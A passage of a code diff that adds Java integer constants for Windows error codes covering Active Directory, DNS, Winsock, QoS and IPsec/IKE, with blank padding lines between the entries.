+  public static final int ERROR_DS_WKO_CONTAINER_CANNOT_BE_SPECIAL = 8611;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DOMAIN_RENAME_IN_PROGRESS = 8612;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_EXISTING_AD_CHILD_NC = 8613;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_REPL_LIFETIME_EXCEEDED = 8614;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DISALLOWED_IN_SYSTEM_CONTAINER = 8615;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_LDAP_SEND_QUEUE_FULL = 8616;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_OUT_SCHEDULE_WINDOW = 8617;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_POLICY_NOT_KNOWN = 8618;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SITE_SETTINGS_OBJECT = 8619;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SECRETS = 8620;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NO_WRITABLE_DC_FOUND = 8621;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_SERVER_OBJECT = 8622;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_NTDSA_OBJECT = 8623;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NON_ASQ_SEARCH = 8624;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_AUDIT_FAILURE = 8625;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INVALID_SEARCH_FLAG_SUBTREE = 8626;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INVALID_SEARCH_FLAG_TUPLE = 8627;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_HIERARCHY_TABLE_TOO_DEEP = 8628;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RESPONSE_CODES_BASE = 9000;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RCODE_NO_ERROR = 0;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_MASK = 9000;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RCODE_FORMAT_ERROR = 9001;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RCODE_SERVER_FAILURE = 9002;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RCODE_NAME_ERROR = 9003;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RCODE_NOT_IMPLEMENTED = 9004;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RCODE_REFUSED = 9005;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RCODE_YXDOMAIN = 9006;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RCODE_YXRRSET = 9007;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RCODE_NXRRSET = 9008;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RCODE_NOTAUTH = 9009;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RCODE_NOTZONE = 9010;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RCODE_BADSIG = 9016;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RCODE_BADKEY = 9017;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RCODE_BADTIME = 9018;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RCODE_LAST = 9018;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_PACKET_FMT_BASE = 9500;
+  
+
+
+
+
+
+
+
+  public static final int DNS_INFO_NO_RECORDS = 9501;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_BAD_PACKET = 9502;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NO_PACKET = 9503;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RCODE = 9504;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_UNSECURE_PACKET = 9505;
+  
+
+
+
+
+
+
+
+  public static final int DNS_STATUS_PACKET_UNSECURE = 9505;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NO_MEMORY = 14;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_INVALID_NAME = 123;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_INVALID_DATA = 13;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_GENERAL_API_BASE = 9550;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_INVALID_TYPE = 9551;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_INVALID_IP_ADDRESS = 9552;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_INVALID_PROPERTY = 9553;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_TRY_AGAIN_LATER = 9554;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NOT_UNIQUE = 9555;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NON_RFC_NAME = 9556;
+  
+
+
+
+
+
+
+
+  public static final int DNS_STATUS_FQDN = 9557;
+  
+
+
+
+
+
+
+
+  public static final int DNS_STATUS_DOTTED_NAME = 9558;
+  
+
+
+
+
+
+
+
+  public static final int DNS_STATUS_SINGLE_PART_NAME = 9559;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_INVALID_NAME_CHAR = 9560;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NUMERIC_NAME = 9561;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NOT_ALLOWED_ON_ROOT_SERVER = 9562;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NOT_ALLOWED_UNDER_DELEGATION = 9563;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_CANNOT_FIND_ROOT_HINTS = 9564;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_INCONSISTENT_ROOT_HINTS = 9565;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_DWORD_VALUE_TOO_SMALL = 9566;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_DWORD_VALUE_TOO_LARGE = 9567;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_BACKGROUND_LOADING = 9568;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NOT_ALLOWED_ON_RODC = 9569;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NOT_ALLOWED_UNDER_DNAME = 9570;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_ZONE_BASE = 9600;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_ZONE_DOES_NOT_EXIST = 9601;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NO_ZONE_INFO = 9602;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_INVALID_ZONE_OPERATION = 9603;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_ZONE_CONFIGURATION_ERROR = 9604;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_ZONE_HAS_NO_SOA_RECORD = 9605;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_ZONE_HAS_NO_NS_RECORDS = 9606;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_ZONE_LOCKED = 9607;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_ZONE_CREATION_FAILED = 9608;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_ZONE_ALREADY_EXISTS = 9609;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_AUTOZONE_ALREADY_EXISTS = 9610;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_INVALID_ZONE_TYPE = 9611;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_SECONDARY_REQUIRES_MASTER_IP = 9612;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_ZONE_NOT_SECONDARY = 9613;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NEED_SECONDARY_ADDRESSES = 9614;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_WINS_INIT_FAILED = 9615;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NEED_WINS_SERVERS = 9616;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NBSTAT_INIT_FAILED = 9617;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_SOA_DELETE_INVALID = 9618;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_FORWARDER_ALREADY_EXISTS = 9619;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_ZONE_REQUIRES_MASTER_IP = 9620;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_ZONE_IS_SHUTDOWN = 9621;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_DATAFILE_BASE = 9650;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_PRIMARY_REQUIRES_DATAFILE = 9651;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_INVALID_DATAFILE_NAME = 9652;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_DATAFILE_OPEN_FAILURE = 9653;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_FILE_WRITEBACK_FAILED = 9654;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_DATAFILE_PARSING = 9655;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_DATABASE_BASE = 9700;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RECORD_DOES_NOT_EXIST = 9701;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RECORD_FORMAT = 9702;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NODE_CREATION_FAILED = 9703;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_UNKNOWN_RECORD_TYPE = 9704;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RECORD_TIMED_OUT = 9705;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NAME_NOT_IN_ZONE = 9706;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_CNAME_LOOP = 9707;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NODE_IS_CNAME = 9708;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_CNAME_COLLISION = 9709;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RECORD_ONLY_AT_ZONE_ROOT = 9710;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_RECORD_ALREADY_EXISTS = 9711;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_SECONDARY_DATA = 9712;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NO_CREATE_CACHE_DATA = 9713;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NAME_DOES_NOT_EXIST = 9714;
+  
+
+
+
+
+
+
+
+  public static final int DNS_WARNING_PTR_CREATE_FAILED = 9715;
+  
+
+
+
+
+
+
+
+  public static final int DNS_WARNING_DOMAIN_UNDELETED = 9716;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_DS_UNAVAILABLE = 9717;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_DS_ZONE_ALREADY_EXISTS = 9718;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NO_BOOTFILE_IF_DS_ZONE = 9719;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NODE_IS_DNAME = 9720;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_DNAME_COLLISION = 9721;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_ALIAS_LOOP = 9722;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_OPERATION_BASE = 9750;
+  
+
+
+
+
+
+
+
+  public static final int DNS_INFO_AXFR_COMPLETE = 9751;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_AXFR = 9752;
+  
+
+
+
+
+
+
+
+  public static final int DNS_INFO_ADDED_LOCAL_WINS = 9753;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_SECURE_BASE = 9800;
+  
+
+
+
+
+
+
+
+  public static final int DNS_STATUS_CONTINUE_NEEDED = 9801;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_SETUP_BASE = 9850;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NO_TCPIP = 9851;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_NO_DNS_SERVERS = 9852;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_DP_BASE = 9900;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_DP_DOES_NOT_EXIST = 9901;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_DP_ALREADY_EXISTS = 9902;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_DP_NOT_ENLISTED = 9903;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_DP_ALREADY_ENLISTED = 9904;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_DP_NOT_AVAILABLE = 9905;
+  
+
+
+
+
+
+
+
+  public static final int DNS_ERROR_DP_FSMO_ERROR = 9906;
+  
+
+
+
+
+
+
+
+  public static final int WSABASEERR = 10000;
+  
+
+
+
+
+
+
+
+  public static final int WSAEINTR = 10004;
+  
+
+
+
+
+
+
+
+  public static final int WSAEBADF = 10009;
+  
+
+
+
+
+
+
+
+  public static final int WSAEACCES = 10013;
+  
+
+
+
+
+
+
+
+  public static final int WSAEFAULT = 10014;
+  
+
+
+
+
+
+
+
+  public static final int WSAEINVAL = 10022;
+  
+
+
+
+
+
+
+
+  public static final int WSAEMFILE = 10024;
+  
+
+
+
+
+
+
+
+  public static final int WSAEWOULDBLOCK = 10035;
+  
+
+
+
+
+
+
+
+  public static final int WSAEINPROGRESS = 10036;
+  
+
+
+
+
+
+
+
+  public static final int WSAEALREADY = 10037;
+  
+
+
+
+
+
+
+
+  public static final int WSAENOTSOCK = 10038;
+  
+
+
+
+
+
+
+
+  public static final int WSAEDESTADDRREQ = 10039;
+  
+
+
+
+
+
+
+
+  public static final int WSAEMSGSIZE = 10040;
+  
+
+
+
+
+
+
+
+  public static final int WSAEPROTOTYPE = 10041;
+  
+
+
+
+
+
+
+
+  public static final int WSAENOPROTOOPT = 10042;
+  
+
+
+
+
+
+
+
+  public static final int WSAEPROTONOSUPPORT = 10043;
+  
+
+
+
+
+
+
+
+  public static final int WSAESOCKTNOSUPPORT = 10044;
+  
+
+
+
+
+
+
+
+  public static final int WSAEOPNOTSUPP = 10045;
+  
+
+
+
+
+
+
+
+  public static final int WSAEPFNOSUPPORT = 10046;
+  
+
+
+
+
+
+
+
+  public static final int WSAEAFNOSUPPORT = 10047;
+  
+
+
+
+
+
+
+
+  public static final int WSAEADDRINUSE = 10048;
+  
+
+
+
+
+
+
+
+  public static final int WSAEADDRNOTAVAIL = 10049;
+  
+
+
+
+
+
+
+
+  public static final int WSAENETDOWN = 10050;
+  
+
+
+
+
+
+
+
+  public static final int WSAENETUNREACH = 10051;
+  
+
+
+
+
+
+
+
+  public static final int WSAENETRESET = 10052;
+  
+
+
+
+
+
+
+
+  public static final int WSAECONNABORTED = 10053;
+  
+
+
+
+
+
+
+
+  public static final int WSAECONNRESET = 10054;
+  
+
+
+
+
+
+
+
+  public static final int WSAENOBUFS = 10055;
+  
+
+
+
+
+
+
+
+  public static final int WSAEISCONN = 10056;
+  
+
+
+
+
+
+
+
+  public static final int WSAENOTCONN = 10057;
+  
+
+
+
+
+
+
+
+  public static final int WSAESHUTDOWN = 10058;
+  
+
+
+
+
+
+
+
+  public static final int WSAETOOMANYREFS = 10059;
+  
+
+
+
+
+
+
+
+  public static final int WSAETIMEDOUT = 10060;
+  
+
+
+
+
+
+
+
+  public static final int WSAECONNREFUSED = 10061;
+  
+
+
+
+
+
+
+
+  public static final int WSAELOOP = 10062;
+  
+
+
+
+
+
+
+
+  public static final int WSAENAMETOOLONG = 10063;
+  
+
+
+
+
+
+
+
+  public static final int WSAEHOSTDOWN = 10064;
+  
+
+
+
+
+
+
+
+  public static final int WSAEHOSTUNREACH = 10065;
+  
+
+
+
+
+
+
+
+  public static final int WSAENOTEMPTY = 10066;
+  
+
+
+
+
+
+
+
+  public static final int WSAEPROCLIM = 10067;
+  
+
+
+
+
+
+
+
+  public static final int WSAEUSERS = 10068;
+  
+
+
+
+
+
+
+
+  public static final int WSAEDQUOT = 10069;
+  
+
+
+
+
+
+
+
+  public static final int WSAESTALE = 10070;
+  
+
+
+
+
+
+
+
+  public static final int WSAEREMOTE = 10071;
+  
+
+
+
+
+
+
+
+  public static final int WSASYSNOTREADY = 10091;
+  
+
+
+
+
+
+
+
+  public static final int WSAVERNOTSUPPORTED = 10092;
+  
+
+
+
+
+
+
+
+  public static final int WSANOTINITIALISED = 10093;
+  
+
+
+
+
+
+
+
+  public static final int WSAEDISCON = 10101;
+  
+
+
+
+
+
+
+
+  public static final int WSAENOMORE = 10102;
+  
+
+
+
+
+
+
+
+  public static final int WSAECANCELLED = 10103;
+  
+
+
+
+
+
+
+
+  public static final int WSAEINVALIDPROCTABLE = 10104;
+  
+
+
+
+
+
+
+
+  public static final int WSAEINVALIDPROVIDER = 10105;
+  
+
+
+
+
+
+
+
+  public static final int WSAEPROVIDERFAILEDINIT = 10106;
+  
+
+
+
+
+
+
+
+  public static final int WSASYSCALLFAILURE = 10107;
+  
+
+
+
+
+
+
+
+  public static final int WSASERVICE_NOT_FOUND = 10108;
+  
+
+
+
+
+
+
+
+  public static final int WSATYPE_NOT_FOUND = 10109;
+  
+
+
+
+
+
+
+
+  public static final int WSA_E_NO_MORE = 10110;
+  
+
+
+
+
+
+
+
+  public static final int WSA_E_CANCELLED = 10111;
+  
+
+
+
+
+
+
+
+  public static final int WSAEREFUSED = 10112;
+  
+
+
+
+
+
+
+
+  public static final int WSAHOST_NOT_FOUND = 11001;
+  
+
+
+
+
+
+
+
+  public static final int WSATRY_AGAIN = 11002;
+  
+
+
+
+
+
+
+
+  public static final int WSANO_RECOVERY = 11003;
+  
+
+
+
+
+
+
+
+  public static final int WSANO_DATA = 11004;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_RECEIVERS = 11005;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_SENDERS = 11006;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_NO_SENDERS = 11007;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_NO_RECEIVERS = 11008;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_REQUEST_CONFIRMED = 11009;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_ADMISSION_FAILURE = 11010;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_POLICY_FAILURE = 11011;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_BAD_STYLE = 11012;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_BAD_OBJECT = 11013;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_TRAFFIC_CTRL_ERROR = 11014;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_GENERIC_ERROR = 11015;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_ESERVICETYPE = 11016;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_EFLOWSPEC = 11017;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_EPROVSPECBUF = 11018;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_EFILTERSTYLE = 11019;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_EFILTERTYPE = 11020;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_EFILTERCOUNT = 11021;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_EOBJLENGTH = 11022;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_EFLOWCOUNT = 11023;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_EUNKOWNPSOBJ = 11024;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_EPOLICYOBJ = 11025;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_EFLOWDESC = 11026;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_EPSFLOWSPEC = 11027;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_EPSFILTERSPEC = 11028;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_ESDMODEOBJ = 11029;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_ESHAPERATEOBJ = 11030;
+  
+
+
+
+
+
+
+
+  public static final int WSA_QOS_RESERVED_PETYPE = 11031;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_QM_POLICY_EXISTS = 13000;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_QM_POLICY_NOT_FOUND = 13001;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_QM_POLICY_IN_USE = 13002;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_MM_POLICY_EXISTS = 13003;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_MM_POLICY_NOT_FOUND = 13004;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_MM_POLICY_IN_USE = 13005;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_MM_FILTER_EXISTS = 13006;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_MM_FILTER_NOT_FOUND = 13007;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_TRANSPORT_FILTER_EXISTS = 13008;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_TRANSPORT_FILTER_NOT_FOUND = 13009;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_MM_AUTH_EXISTS = 13010;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_MM_AUTH_NOT_FOUND = 13011;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_MM_AUTH_IN_USE = 13012;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_DEFAULT_MM_POLICY_NOT_FOUND = 13013;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_DEFAULT_MM_AUTH_NOT_FOUND = 13014;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_DEFAULT_QM_POLICY_NOT_FOUND = 13015;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_TUNNEL_FILTER_EXISTS = 13016;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_TUNNEL_FILTER_NOT_FOUND = 13017;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_MM_FILTER_PENDING_DELETION = 13018;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_TRANSPORT_FILTER_PENDING_DELETION = 13019;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_TUNNEL_FILTER_PENDING_DELETION = 13020;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_MM_POLICY_PENDING_DELETION = 13021;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_MM_AUTH_PENDING_DELETION = 13022;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_QM_POLICY_PENDING_DELETION = 13023;
+  
+
+
+
+
+
+
+
+  public static final int WARNING_IPSEC_MM_POLICY_PRUNED = 13024;
+  
+
+
+
+
+
+
+
+  public static final int WARNING_IPSEC_QM_POLICY_PRUNED = 13025;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_NEG_STATUS_BEGIN = 13800;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_AUTH_FAIL = 13801;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_ATTRIB_FAIL = 13802;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_NEGOTIATION_PENDING = 13803;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_GENERAL_PROCESSING_ERROR = 13804;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_TIMED_OUT = 13805;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_NO_CERT = 13806;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_SA_DELETED = 13807;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_SA_REAPED = 13808;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_MM_ACQUIRE_DROP = 13809;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_QM_ACQUIRE_DROP = 13810;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_QUEUE_DROP_MM = 13811;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_QUEUE_DROP_NO_MM = 13812;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_DROP_NO_RESPONSE = 13813;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_MM_DELAY_DROP = 13814;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_QM_DELAY_DROP = 13815;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_ERROR = 13816;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_CRL_FAILED = 13817;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_KEY_USAGE = 13818;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_CERT_TYPE = 13819;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_NO_PRIVATE_KEY = 13820;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_DH_FAIL = 13822;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_HEADER = 13824;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_NO_POLICY = 13825;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_SIGNATURE = 13826;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_KERBEROS_ERROR = 13827;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_NO_PUBLIC_KEY = 13828;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_PROCESS_ERR = 13829;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_PROCESS_ERR_SA = 13830;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_PROCESS_ERR_PROP = 13831;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_PROCESS_ERR_TRANS = 13832;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_PROCESS_ERR_KE = 13833;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_PROCESS_ERR_ID = 13834;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_PROCESS_ERR_CERT = 13835;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_PROCESS_ERR_CERT_REQ = 13836;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_PROCESS_ERR_HASH = 13837;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_PROCESS_ERR_SIG = 13838;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_PROCESS_ERR_NONCE = 13839;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_PROCESS_ERR_NOTIFY = 13840;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_PROCESS_ERR_DELETE = 13841;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_PROCESS_ERR_VENDOR = 13842;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_PAYLOAD = 13843;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_LOAD_SOFT_SA = 13844;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_SOFT_SA_TORN_DOWN = 13845;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_COOKIE = 13846;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_NO_PEER_CERT = 13847;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_PEER_CRL_FAILED = 13848;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_POLICY_CHANGE = 13849;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_NO_MM_POLICY = 13850;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_NOTCBPRIV = 13851;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_SECLOADFAIL = 13852;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_FAILSSPINIT = 13853;
+  
+
+
+
+
+
+
+
